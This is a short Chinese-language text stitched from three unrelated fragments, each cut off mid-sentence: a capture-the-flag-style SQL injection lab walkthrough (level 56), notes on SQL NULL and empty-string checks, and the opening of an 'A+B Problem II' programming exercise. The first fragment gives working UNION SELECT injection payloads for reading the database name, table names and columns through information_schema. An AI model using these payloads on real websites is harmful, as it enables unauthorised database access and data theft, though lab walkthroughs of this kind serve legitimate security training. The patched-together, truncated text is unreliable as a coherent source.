第56关(单引号括号闭合) 查数据库 ?id=-1') union select 1,database(),3 --+ 查表 ?id=-1') union select 1,(select table_name from information_schema.tables where table_schema=database()),3 --+ 查字段 ?id=-1') uni
一、字段判断 (1)是否为空 select * from department where leader is NULL select * from department where leader is not NULL (2)是否为空字符‘’ select * from department where leader='' select * from department where
A+B Problem II 时间限制: 3000 ms | 内存限制: 65535 KB 难度: 3 描述 I have a very simple problem for you. Given two integers A and B, your job is to calculate the Sum of A + B. A,B must be posit